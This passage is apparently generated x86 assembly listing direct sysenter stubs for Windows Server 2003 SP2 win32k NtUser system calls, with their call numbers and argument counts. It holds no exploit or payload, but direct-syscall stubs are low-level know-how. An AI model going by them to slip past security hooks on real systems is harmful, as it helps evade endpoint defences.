_5_2_3790_sp2_windows_2003_NtUserGetMouseMovePointsEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4517
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetMouseMovePointsEx ENDP
; ULONG __stdcall NtUserGetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserGetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4518
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetObjectInformation ENDP
; ULONG __stdcall NtUserGetOpenClipboardWindow( );
_5_2_3790_sp2_windows_2003_NtUserGetOpenClipboardWindow PROC STDCALL
mov eax , 4519
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetOpenClipboardWindow ENDP
; ULONG __stdcall NtUserGetPriorityClipboardFormat( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetPriorityClipboardFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4520
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetPriorityClipboardFormat ENDP
; ULONG __stdcall NtUserGetProcessWindowStation( );
_5_2_3790_sp2_windows_2003_NtUserGetProcessWindowStation PROC STDCALL
mov eax , 4521
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetProcessWindowStation ENDP
; ULONG __stdcall NtUserGetRawInputBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetRawInputBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4522
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetRawInputBuffer ENDP
; ULONG __stdcall NtUserGetRawInputData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserGetRawInputData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4523
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetRawInputData ENDP
; ULONG __stdcall NtUserGetRawInputDeviceInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetRawInputDeviceInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4524
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetRawInputDeviceInfo ENDP
; ULONG __stdcall NtUserGetRawInputDeviceList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetRawInputDeviceList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4525
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetRawInputDeviceList ENDP
; ULONG __stdcall NtUserGetRegisteredRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetRegisteredRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4526
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetRegisteredRawInputDevices ENDP
; ULONG __stdcall NtUserGetScrollBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetScrollBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4527
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetScrollBarInfo ENDP
; ULONG __stdcall NtUserGetSystemMenu( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4528
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetSystemMenu ENDP
; ULONG __stdcall NtUserGetThreadDesktop( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetThreadDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4529
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetThreadDesktop ENDP
; ULONG __stdcall NtUserGetThreadState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetThreadState PROC STDCALL arg_01:DWORD
mov eax , 4530
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetThreadState ENDP
; ULONG __stdcall NtUserGetTitleBarInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetTitleBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4531
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetTitleBarInfo ENDP
; ULONG __stdcall NtUserGetUpdateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetUpdateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4532
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetUpdateRect ENDP
; ULONG __stdcall NtUserGetUpdateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4533
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetUpdateRgn ENDP
; ULONG __stdcall NtUserGetWindowDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetWindowDC PROC STDCALL arg_01:DWORD
mov eax , 4534
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetWindowDC ENDP
; ULONG __stdcall NtUserGetWindowPlacement( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4535
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetWindowPlacement ENDP
; ULONG __stdcall NtUserGetWOWClass( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetWOWClass PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4536
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetWOWClass ENDP
; ULONG __stdcall NtUserHardErrorControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserHardErrorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4537
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserHardErrorControl ENDP
; ULONG __stdcall NtUserHideCaret( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserHideCaret PROC STDCALL arg_01:DWORD
mov eax , 4538
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserHideCaret ENDP
; ULONG __stdcall NtUserHiliteMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserHiliteMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4539
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserHiliteMenuItem ENDP
; ULONG __stdcall NtUserImpersonateDdeClientWindow( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserImpersonateDdeClientWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4540
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserImpersonateDdeClientWindow ENDP
; ULONG __stdcall NtUserInitialize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4541
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInitialize ENDP
; ULONG __stdcall NtUserInitializeClientPfnArrays( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserInitializeClientPfnArrays PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4542
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInitializeClientPfnArrays ENDP
; ULONG __stdcall NtUserInitTask( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
_5_2_3790_sp2_windows_2003_NtUserInitTask PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 4543
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInitTask ENDP
; ULONG __stdcall NtUserInternalGetWindowText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserInternalGetWindowText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4544
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInternalGetWindowText ENDP
; ULONG __stdcall NtUserInvalidateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserInvalidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4545
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInvalidateRect ENDP
; ULONG __stdcall NtUserInvalidateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserInvalidateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4546
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserInvalidateRgn ENDP
; ULONG __stdcall NtUserIsClipboardFormatAvailable( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserIsClipboardFormatAvailable PROC STDCALL arg_01:DWORD
mov eax , 4547
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserIsClipboardFormatAvailable ENDP
; ULONG __stdcall NtUserKillTimer( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserKillTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4548
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserKillTimer ENDP
; ULONG __stdcall NtUserLoadKeyboardLayoutEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserLoadKeyboardLayoutEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4549
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserLoadKeyboardLayoutEx ENDP
; ULONG __stdcall NtUserLockWindowStation( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserLockWindowStation PROC STDCALL arg_01:DWORD
mov eax , 4550
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserLockWindowStation ENDP
; ULONG __stdcall NtUserLockWindowUpdate( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserLockWindowUpdate PROC STDCALL arg_01:DWORD
mov eax , 4551
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserLockWindowUpdate ENDP
; ULONG __stdcall NtUserLockWorkStation( );
_5_2_3790_sp2_windows_2003_NtUserLockWorkStation PROC STDCALL
mov eax , 4552
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserLockWorkStation ENDP
; ULONG __stdcall NtUserMapVirtualKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserMapVirtualKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4553
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMapVirtualKeyEx ENDP
; ULONG __stdcall NtUserMenuItemFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserMenuItemFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4554
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMenuItemFromPoint ENDP
; ULONG __stdcall NtUserMessageCall( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserMessageCall PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4555
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMessageCall ENDP
; ULONG __stdcall NtUserMinMaximize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserMinMaximize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4556
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMinMaximize ENDP
; ULONG __stdcall NtUserMNDragLeave( );
_5_2_3790_sp2_windows_2003_NtUserMNDragLeave PROC STDCALL
mov eax , 4557
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMNDragLeave ENDP
; ULONG __stdcall NtUserMNDragOver( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserMNDragOver PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4558
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMNDragOver ENDP
; ULONG __stdcall NtUserModifyUserStartupInfoFlags( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserModifyUserStartupInfoFlags PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4559
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserModifyUserStartupInfoFlags ENDP
; ULONG __stdcall NtUserMoveWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserMoveWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4560
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserMoveWindow ENDP
; ULONG __stdcall NtUserNotifyIMEStatus( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserNotifyIMEStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4561
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserNotifyIMEStatus ENDP
; ULONG __stdcall NtUserNotifyProcessCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserNotifyProcessCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4562
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserNotifyProcessCreate ENDP
; ULONG __stdcall NtUserNotifyWinEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserNotifyWinEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4563
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserNotifyWinEvent ENDP
; ULONG __stdcall NtUserOpenClipboard( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserOpenClipboard PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4564
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserOpenClipboard ENDP
; ULONG __stdcall NtUserOpenDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserOpenDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4565
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserOpenDesktop ENDP
; ULONG __stdcall NtUserOpenInputDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserOpenInputDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4566
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserOpenInputDesktop ENDP
; ULONG __stdcall NtUserOpenWindowStation( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserOpenWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4567
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserOpenWindowStation ENDP
; ULONG __stdcall NtUserPaintDesktop( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserPaintDesktop PROC STDCALL arg_01:DWORD
mov eax , 4568
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPaintDesktop ENDP
; ULONG __stdcall NtUserPeekMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserPeekMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4569
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPeekMessage ENDP
; ULONG __stdcall NtUserPostMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserPostMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4570
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPostMessage ENDP
; ULONG __stdcall NtUserPostThreadMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserPostThreadMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4571
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPostThreadMessage ENDP
; ULONG __stdcall NtUserPrintWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserPrintWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4572
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPrintWindow ENDP
; ULONG __stdcall NtUserProcessConnect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserProcessConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4573
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserProcessConnect ENDP
; ULONG __stdcall NtUserQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4574
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserQueryInformationThread ENDP
; ULONG __stdcall NtUserQueryInputContext( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserQueryInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4575
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserQueryInputContext ENDP
; ULONG __stdcall NtUserQuerySendMessage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserQuerySendMessage PROC STDCALL arg_01:DWORD
mov eax , 4576
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserQuerySendMessage ENDP
; ULONG __stdcall NtUserQueryWindow( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserQueryWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4577
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserQueryWindow ENDP
; ULONG __stdcall NtUserRealChildWindowFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserRealChildWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4578
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRealChildWindowFromPoint ENDP
; ULONG __stdcall NtUserRealInternalGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserRealInternalGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4579
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRealInternalGetMessage ENDP
; ULONG __stdcall NtUserRealWaitMessageEx( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserRealWaitMessageEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4580
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRealWaitMessageEx ENDP
; ULONG __stdcall NtUserRedrawWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserRedrawWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4581
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRedrawWindow ENDP
; ULONG __stdcall NtUserRegisterClassExWOW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserRegisterClassExWOW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4582
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterClassExWOW ENDP
; ULONG __stdcall NtUserRegisterUserApiHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserRegisterUserApiHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4583
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterUserApiHook ENDP
; ULONG __stdcall NtUserRegisterHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserRegisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4584
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRegisterHotKey ENDP
; ULONG __stdcall NtUserRegisterRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
